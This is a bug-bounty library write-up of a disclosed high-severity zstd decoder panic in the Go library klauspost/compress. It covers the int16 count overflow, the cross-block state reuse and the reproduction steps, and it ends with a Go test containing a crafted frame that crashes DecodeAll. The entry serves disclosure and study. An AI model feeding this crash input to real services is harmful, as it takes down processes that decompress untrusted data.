# compress zstd: Panic on two-block frames

Crafted 27KB two-block zstd frame overflows int16 FSE count in klauspost/compress, causing out-of-range panic in DecodeAll instead of a decode error.

- Payout: Research
- Severity: high
- Program: klauspost/compress
- Found by: joshua-kim, Morris-be, chriselbring-avalabs
- Disclosed: 2026-10-27
- CVE: CVE-2026-116591
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-fpmh-frq8-7rj8
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-fpmh-frq8-7rj8
- Tags: area:oss domain:oss impact:dos kind:research platform:ghsa sev:high tech:go technique:incomplete-fix technique:source-review vuln:dos vuln:memory-corruption

**Target:** zstd decoder (fse/huff0 table parsing) in Go library
**Root cause:** readNCount allows tableLog up to 15 so a normalized count of 32768 wraps to -32768 in int16 storage; validation only checks int32 totals. buildDtable then builds an empty table without error, and reused Scratch state from block 1 carries it past the newState guard.
**Steps:**
1. Craft a two-block zstd frame whose second block's Huffman-weight table yields norm = [0, -32768], symbolLen = 2 (tableLog 15).
2. Block 1 populates the shared fse.Scratch decTable/stateTable; block 2's malformed table is rebuilt on top without clearing.
3. Negative count skips the -1 low-prob branch and the spread loop runs zero times, so position stays 0 and the position != 0 guard passes.
4. Leftover nextState >= 32768 leaves many cells with nbBits == 0.
5. Decode: all counts below largeLimit so zeroBits false, nextFast path taken; getBitsFast(0) shifts by 0 and returns low 16 bits of register, state runs past table.
6. `d.dt[d.state]` panics: index out of range [33077] with length 32768.
7. Repro: feed the ~27KB crafted frame to `zstd.NewReader(nil)` then `decoder.DecodeAll(zstdFSEPanic, dst)`.
**How found:** Researcher noticed the C reference caps FSE tableLog at 12 and Huffman-weight tableLog at 6, but huff0.ReadTable enforces neither; traced int16 count storage in readNCount and found cross-block Scratch reuse lets a wrapped count bypass the newState guard.
**Exploitation:** Attacker supplies a ~27KB crafted zstd frame to any service decompressing untrusted input; DecodeAll or streaming decoder panics with an unrecoverable out-of-range index, crashing the process. No error can be caught by callers.
**Insight:** When a Go port stores counts in int16 but validates only int32 running totals, check whether the format's spec bound (here Huffman-weight tableLog 6) is enforced at the call site; also audit shared scratch buffers reused across blocks for stale-state bypasses of table-size guards.

## Proof of concept (copied exactly from the original report)

**Go test crafting two-block zstd frame that panics**

```
func TestDecodeAll(t *testing.T) {
	// zstdFSEPanic is a crafted two-block zstd frame that makes
	// github.com/klauspost/compress (v1.20.0 and v1.20.1) panic with an
	// out-of-range index in fse.nextFast rather than returning an error. Cross-block
	// FSE table-state carryover lets the second block's malformed Huffman-weight
	// table pass the decoder's guard and overflow the decode table.
	zstdFSEPanic := slices.Concat(
		[]byte{0x28, 0xb5, 0x2f, 0xfd, 0x00, 0x38, 0x74, 0x06, 0x00, 0x42, 0xb8, 0x32, 0x0d, 0x1a, 0x00, 0x00, 0x00, 0x90, 0xaf, 0xfa, 0xff, 0x03, 0x00, 0x80, 0xff, 0x7f},
		bytes.Repeat([]byte{0xa5, 0x94, 0x52, 0x4a, 0x29}, 37),
		[]byte{0xa5, 0x94, 0x12, 0x00, 0xad, 0x56, 0x03, 0xee, 0xff, 0xdf, 0xb3, 0x1a, 0x1c, 0x1a, 0x00, 0xe0, 0xff, 0x1f, 0x0f, 0xb1, 0x9c, 0x5a, 0xcf, 0x4d, 0xe4, 0x1d, 0x7b, 0xab, 0x99, 0x5e, 0x01, 0x51, 0xa4, 0x73, 0xd8, 0xb1, 0xf3, 0x39, 0x4b, 0x67, 0xf6, 0xab, 0x1a, 0xab, 0x1a, 0xab, 0x1a},
		bytes.Repeat([]byte{0x8c, 0x31, 0xc6, 0x18, 0x63}, 1365),
		[]byte{0x8c, 0x31},
		bytes.Repeat([]byte{0x63, 0x8c, 0x31, 0xc6, 0x18}, 1365),
		[]byte{0x63, 0x2c},
		bytes.Repeat([]byte{0x31, 0xc6, 0x18, 0x63, 0x8c}, 1365),
		[]byte{0x31, 0x46},
		bytes.Repeat([]byte{0x31, 0xc6, 0x18, 0x63, 0x8c}, 1365),
		[]byte{0x31, 0x06, 0x00},
	)

	decoder, err := zstd.NewReader(nil)
	require.NoError(t, err)

	dst := make([]byte, 100*1024)
	_, err = decoder.DecodeAll(zstdFSEPanic, dst)
	require.NoError(t, err)
}
```

